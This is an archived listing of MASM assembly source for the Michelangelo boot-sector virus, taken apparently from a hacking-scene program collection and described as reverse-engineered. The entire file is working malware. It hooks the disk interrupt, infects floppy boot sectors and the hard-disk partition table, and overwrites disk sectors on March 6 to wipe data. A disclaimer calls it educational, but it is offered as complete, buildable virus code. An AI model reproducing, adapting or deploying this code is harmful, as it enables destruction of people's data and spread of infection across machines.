home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / MICHEL.ASM < prev    next >
Assembly Source File  |  1992-01-17  |  19KB  |  323 lines

  1.         TITLE   MICHELANGELO, a STONED - derived Boot Virus
  2.         SUBTTL  reverse engineered source code for MASM 5.1/6.0
  3.  
  4.          PAGE   60,132
  5.         .RADIX  16
  6.  
  7.     IF1
  8.          %Out    ╔═ VIRAL SOFTWARE, DO NOT DISTRIBUTE WITHOUT NOTIFICATION ═╗
  9.          %Out    ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  10.          %Out    ║░░░░░░░░░░░░░░░┌─────────────────────────┐░░░░░░░░░░░░░░░░║
  11.          %Out    ║░░─────────────┤ M I C H E L A N G E L O ├──────────────░░║
  12.          %Out    ║░░░░░░░░░░░░░░░└─────────────────────────┘░░░░░░░░░░░░░░░░║
  13.          %Out    ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  14.          %Out    ╚══ Layout (C) 1992 164A12565AA18213165556D3125C4B962712 ══╝
  15.     ENDIF
  16.     
  17.         comment #
  18.  
  19.   !                                         !
  20.   !     MICHELANGELO di Ludovico Buonarroti Simoni, born March 6, 1475,      !
  21.   !     Caprese, Republic of Florence ...                                    !
  22.   !     This boot block / partition table virus will overwrite most of the   !
  23.   !     data on eiter floppy disks or winchester drives at HIS birthday.     !
  24.   !                                                                         !
  25.   !    This source code may only be used for educational purposes!          !
  26.   !                                                                         !
  27.   !    Do not offend the law by distributing viral or trojan horse soft-    !
  28.   !    ware to anybody who is not aware of the potential danger of the      !
  29.   !    software he receives.                                                !
  30.   !                                                                          !
  31.  
  32.         #
  33.  
  34.         B       equ     <BYTE>
  35.         D       equ     <DWORD>
  36.         O       equ     <OFFSET>
  37.         P       equ     <PTR>
  38.         S       equ     <SHORT>
  39.         T       equ     <THIS>
  40.         v       equ     <OR>
  41.         W       equ     <WORD>
  42.  
  43.  
  44.   SAVE          MACRO     _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
  45.                  IRP  _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
  46.                   IFNB   <_X>
  47.                    IFIDN <_X>,<F>
  48.                     PUSHF
  49.                    ELSE
  50.                     PUSH _X
  51.                    ENDIF
  52.                   ENDIF
  53.                  ENDM
  54.                 ENDM
  55.  
  56.   REST          MACRO     _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
  57.                  IRP  _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
  58.                   IFNB   <_X>
  59.                    IFIDN <_X>,<F>
  60.                      POPF
  61.                    ELSE
  62.                      POP _X
  63.                    ENDIF
  64.                   ENDIF
  65.                  ENDM
  66.                 ENDM
  67.  
  68.   MOV_S         MACRO   S1,S2
  69.                  SAVE   S2
  70.                  REST   S1
  71.                 ENDM
  72.  
  73. TEXT    SEGMENT PARA PUBLIC 'CODE'
  74.  
  75.         ASSUME  CS:TEXT,DS:TEXT,ES:TEXT
  76.  
  77.         ORG     0
  78.  
  79.   MICHELANGELO  =       0306                    ; ... his BCD birthday
  80.                                                 ;
  81.   SECSIZE       =       0200                    ;
  82.   WINCHESTER1   =       80                      ;
  83.   bREAD         =       2                       ;
  84.   wREAD         =       bREAD SHL 8             ;
  85.   bWRITE        =       3                       ;
  86.   wWRITE        =       bWRITE SHL 8            ;
  87.                                                 ;
  88.   DTA           =       T B + SECSIZE           ;
  89.                                                 ;
  90.   OR13OFF       =       T W + 04C               ;
  91.   OR13SEG       =       T W + 04E               ;
  92.   SYSRAM        =       T W + 413               ;
  93.   MOSTAT        =       T B + 43F               ;
  94.                                                 ;
  95.   PARTTBL       =       T B + 1BE               ;
  96.                                                 ;
  97.   OFSFRM0       EQU     7C00                    ;
  98.                                                 ;
  99. START:          JMP       INIT                  ;
  100.                                                 ;
  101. ; -----------------------------------------------------------------------------
  102.                                                 ;
  103. SHDWRELOCOFS    =       T W + OFSFRM0           ;
  104. RELOCOFS        DW      FRSTRLCTD               ; Used by an indirect far jmp
  105. SHDWRELOCSEG    =       T W + OFSFRM0           ;   to the relocated code.
  106. RELOCSEG        DW      ?                       ;
  107.                                                 ;
  108. HEADS           DB      ?                       ;
  109.                                                 ;
  110. CYLSEG          DW      ?                       ;
  111.                                                 ;
  112. SHDW13OFS       =       T W + OFSFRM0           ;
  113. BIOS13OFS       DW      ?                       ; Holds original (BIOS)
  114. SHDW13SEG       =       T W + OFSFRM0           ;   int 13 vector.
  115. BIOS13SEG       DW      ?                       ;
  116.                                                 ;
  117. ; -----------------------------------------------------------------------------
  118.                                                 ;
  119. I13_ISR:        SAVE    DS,AX                   ; INT 13 SR, save regs
  120.                 OR      DL,DL                   ; drive == A ?
  121.                 JNZ     I13_EX                  ;   jmp if not
  122.                 XOR     AX,AX                   ; DS = 0
  123.                 MOV     DS,AX                   ;
  124.                 TEST    B P [MOSTAT],01         ; test diskette motor status:
  125.                 JNZ     I13_EX                  ;   jmp if motor is already on
  126.                 REST    AX,DS                   ;
  127.                 SAVE    F                       ; call old interrupt 13
  128.                 CALL    D P CS:[BIOS13OFS]      ;  routine
  129.                 SAVE    F                       ; save FLAGS
  130.                 CALL    TstInfF                 ; test & infect if necessary
  131.                 REST    F                       ; restore FLAGS
  132.                 RETF    2                       ; return, preserve FLAGS
  133.                                                 ;
  134. I13_EX:         REST    AX,DS                   ; restore regs, jmp to old int
  135.                 JMP     D P CS:[BIOS13OFS]      ;   13h routine
  136.                                                 ;
  137. TstInfF:        SAVE    AX,BX,CX,DX,DS,ES,SI,DI ;
  138.                 MOV_S   DS,CS                   ; ES = DS = CS;
  139.                 MOV_S   ES,CS                   ;
  140.                 MOV     SI,0004                 ; SI = 4 (maxretry counter)
  141.   @@:           MOV     AX,wREAD v 1            ; AX : read one sector
  142.                 MOV     BX,O DTA                ; BX : ... to buffer at CS:200
  143.                 MOV     CX,0001                 ; CX : ... cylinder 0, sector 1
  144.                 XOR     DX,DX                   ; DX : ... drive 0, head 0
  145.                 SAVE    F                       ; call old int13 routine by
  146.                 CALL    D P [BIOS13OFS]         ;   simulating an interrupt
  147.                 JNB     @F                      ; jmp if there isn't an error,
  148.                 XOR     AX,AX                   ; else reset disk system ...
  149.                 SAVE    F                       ;
  150.                 CALL    D P [BIOS13OFS]         ;
  151.                 DEC     SI                      ; decrement maxretry counter
  152.                 JNZ     @B                      ; try it again if not zero,
  153.                 JMP     S TstInfF_EX            ; else jmp to exit in haste.
  154.                                                 ;
  155.   @@:           XOR     SI,SI                   ; boot sector has been read,
  156.                 CLD                             ; now test if disk already has
  157.                 LODSW                           ; been infected. Assume infect-
  158.                 CMP     AX,[BX]                 ; ion if the first 4 bytes of
  159.                 JNZ     @F                      ; MICHI and the boot sector are
  160.                 LODSW                           ; identical ...
  161.                 CMP     AX,[BX+02]              ;
  162.                 JZ      TstInfF_EX              ; exit, disk already infected
  163.   @@:           MOV     AX,wWRITE v 1           ; AX : Write one sector
  164.                 MOV     DH,01                   ; DH : Head 1
  165.                 MOV     CL,03                   ; CL : Sector 3
  166.                 CMP     B P [BX+15],0FDH        ; adjust CL to E if the MEDIA ID
  167.                 JZ      @F                      ;  field of the original boot
  168.                 MOV     CL,0E                   ;  sector is not FD (5.25",360K)
  169.   @@:           MOV     [CYLSEG],CX             ; store CX
  170.                 SAVE    F                       ; and write the original boot
  171.                 CALL    D P [BIOS13OFS]         ;   sector to the floppy disk
  172.                 JB      TstInfF_EX              ; if an error occured,
  173.                 MOV     SI,O PARTTBL + SECSIZE  ;         exit in haste.
  174.                 MOV     DI,O PARTTBL            ; Copy the last bytes of
  175.                 MOV     CX,0021                 ;   the original boot sector to
  176.                 CLD                             ;   the end of MICHI
  177.                 REP     MOVSW                   ;
  178.                 MOV     AX,wWRITE v 1           ; ... and write it to the boot
  179.                 XOR     BX,BX                   ;   sector of the disk.
  180.                 MOV     CX,0001                 ;
  181.                 XOR     DX,DX                   ;
  182.                 SAVE    F                       ;
  183.                 CALL    D P [BIOS13OFS]         ;
  184. TstInfF_EX:     REST    DI,SI,ES,DS,DX,CX,BX,AX ; restore regs
  185.                 RET                             ; ... return
  186.                                                 ;
  187. ; -----------------------------------------------------------------------------
  188.                                                 ;
  189. INIT:           XOR     AX,AX                   ; Set DS and SS to 0000,
  190.                 MOV     DS,AX                   ;  initialize SP to 7C00.
  191.                 CLI                             ;  That's because the boot
  192.                 MOV     SS,AX                   ;  sector will loaded into
  193.                 MOV     AX,OFSFRM0              ;  memory at 0:7C00 on every
  194.                 MOV     SP,AX                   ;  IBM clone ...
  195.                 STI                             ;
  196.                                                 ;
  197.                 SAVE    DS,AX                   ; save (0000:7C00) on stack
  198.                                                 ;
  199.                 MOV     AX,[OR13OFF]            ; Read old interrupt 13h vector
  200.                 MOV     [SHDW13OFS],AX          ;        and save it
  201.                 MOV     AX,[OR13SEG]            ;
  202.                 MOV     [SHDW13SEG],AX          ;
  203.                                                 ;
  204.                 MOV     AX,[SYSRAM]             ; Substract 2 from base memory
  205.                 DEC     AX                      ;   size variable in BIOS data
  206.                 DEC     AX                      ;   area
  207.                 MOV     [SYSRAM],AX             ;
  208.                                                 ;
  209.                 MOV     CL,06                   ; ES = AX = segment part of huge
  210.                 SHL     AX,CL                   ;   ptr to area 2KB below last
  211.                 MOV     ES,AX                   ;   base memory location
  212.                                                 ;
  213.                 MOV     [SHDWRELOCSEG],AX       ; Store seg for ind far jmp
  214.                                                 ;   to relocated code
  215.                 MOV     AX,O I13_ISR            ; Store ptr to new interrupt
  216.                 MOV     [OR13OFF],AX            ;   13 service routine to
  217.                 MOV     [OR13SEG],ES            ;   interrupt table,
  218.                 MOV     CX,O PARTTBL            ; Relocate code,
  219.                 MOV     SI,OFSFRM0              ;
  220.                 XOR     DI,DI                   ;
  221.                 CLD                             ;
  222.                 REP     MOVSB                   ;
  223.                 JMP     D P CS:[SHDWRELOCOFS]   ; Jmp to FRSTRLCTD (relo-
  224.                                                 ;   cated code)(BUGGY)
  225.                                                 ;
  226. FRSTRLCTD:      XOR     AX,AX                   ; Reset the disk system
  227.                 MOV     ES,AX                   ;
  228.                 INT     13                      ;
  229.                 MOV_S   DS,CS                   ; ES = 0; DS = CS;
  230.                 MOV     AX,wREAD v 1            ; AH = 'Read', AL = # to read
  231.                 MOV     BX,OFSFRM0              ; ES:BX = 0:7C00 = xfer address
  232.                 MOV     CX,[CYLSEG]             ; CH = cylinder #, CL = sector #
  233.                                                 ;
  234.                 CMP     CX,+07                  ; Booted from winchester drive?
  235.                 JNZ     @F                      ;       jmp if not
  236.                 MOV     DX,0000 v WINCHESTER1   ; DH = head 0, DL = drive C
  237.                 INT     13                      ; read the original boot sector
  238.                 JMP     S BOOTNOW               ;   and jmp
  239.                                                 ;
  240.   @@:           MOV     CX,[CYLSEG]             ; adjust cylinder/sector #s
  241.                 MOV     DX,0100                 ; DH = head 1, DL = drive A
  242.                 INT     13                      ; and read the sector ...
  243.                 JB      BOOTNOW                 ; (jmp on error, else continue)
  244.                 MOV_S   ES,CS                   ; ES = CS;
  245.                 MOV     AX,wREAD v 1            ; read partition table of 1st
  246.                 MOV     BX,O DTA                ; hard disk into buffer located
  247.                 MOV     CX,0001                 ; just after the relocated code
  248.                 MOV     DX,0000 v WINCHESTER1   ;
  249.                 INT     13                      ;
  250.                 JB      BOOTNOW                 ; (jmp on error, else continue)
  251.                 XOR     SI,SI                   ;
  252.                 CLD                             ; test if hard disk is already
  253.                 LODSW                           ; infected by comparing the 1st
  254.                 CMP     AX,[BX]                 ; four bytes, if these are
  255.                 JNZ     INFECT_PARTTBL          ; identical assume that the
  256.                 LODSW                           ; hard disk already is infected
  257.                 CMP     AX,[BX+02]              ; and continue, else jmp to
  258.                 JNZ     INFECT_PARTTBL          ; infect procedure
  259.                                                 ;
  260. BOOTNOW:        XOR     CX,CX                   ; read date from real time clock
  261.                 MOV     AH,04                   ; (will _not_ work on old BIOSes
  262.                 INT     1A                      ;  that do not implement it)
  263.                 CMP     DX,MICHELANGELO         ; jmp if today is the
  264.                 JZ      BIRTHDAY                ;   birthday of MICHELANGELO
  265.                 RETF                            ; 'return' to original boot sec-
  266.                                                 ;   tor code
  267.                                                 ;
  268. ; -----------------------------------------------------------------------------
  269.                                                 ;
  270. BIRTHDAY:       XOR     DX,DX                   ; DH = head 0; DL = drive A
  271.                 MOV     CX,0001                 ; CH = cylinder 0; CL = sector 1
  272. BIRTHDAY_LOOP:  MOV     AX,wWRITE v 9           ; AH = 'Write'; AL = # of sectrs
  273.                 MOV     SI,[CYLSEG]             ; adjust AL ( # of sectors) and
  274.                 CMP     SI,+03                  ; DL (drive code) depending on
  275.                 JZ      @F                      ; the type of the current boot
  276.                 MOV     AL,0E                   ; disk
  277.                 CMP     SI,+0E                  ;
  278.                 JZ      @F                      ;
  279.                 MOV     DL,WINCHESTER1          ;
  280.                 MOV     B P [HEADS],04          ;
  281.                 MOV     AL,11                   ;
  282.   @@:           MOV     BX,5000                 ; ES:BX -> 'Buffer' = 5000:5000
  283.                 MOV     ES,BX                   ;
  284.                 INT     13                      ;
  285.                 JNB     @F                      ;
  286.                 XOR     AH,AH                   ; reset disk system if an error
  287.                 INT     13                      ;   occured
  288.   @@:           INC     DH                      ; increment head (DH)
  289.                 CMP     DH,[HEADS]              ; head < maxhead? continue if
  290.                 JB      BIRTHDAY_LOOP           ;   equal, else loop
  291.                 XOR     DH,DH                   ;
  292.                 INC     CH                      ; increment cylinder and loop
  293.                 JMP     BIRTHDAY_LOOP           ; ( goodbye data - cu never )
  294.                                                 ;
  295. ; -----------------------------------------------------------------------------
  296.                                                 ;
  297. INFECT_PARTTBL: MOV     CX,0007                 ; It's an HD, take sector 7 to
  298.                 MOV     [CYLSEG],CX             ;   save the original partition
  299.                 MOV     AX,wWRITE v 1           ;   table and write it to disk
  300.                 MOV     DX,0000 v WINCHESTER1   ;
  301.                 INT     13                      ;
  302.                 JB      BOOTNOW                 ; jmp on error
  303.                 MOV     SI,O PARTTBL + SECSIZE  ; copy partition informa-
  304.                 MOV     DI,O PARTTBL            ;   tion to the end of MICHI
  305.                 MOV     CX,0021                 ;
  306.                 REP     MOVSW                   ;
  307.                 MOV     AX,wWRITE v 1           ; and write MICHI to the first
  308.                 XOR     BX,BX                   ;   sector of the hard disk ...
  309.                 INC     CL                      ;
  310.                 INT     13                      ;
  311.                 JMP     BOOTNOW                 ;
  312.                                                 ;
  313. ; -----------------------------------------------------------------------------
  314.                                                 ;
  315.                 ORG     SECSIZE - 2             ; Bootblock / partition table /
  316.                 DB      055,0AA                 ; ROM signature
  317.                                                 ;
  318. ; -----------------------------------------------------------------------------
  319.  
  320. TEXT    ENDS
  321.  
  322. END     START
  323.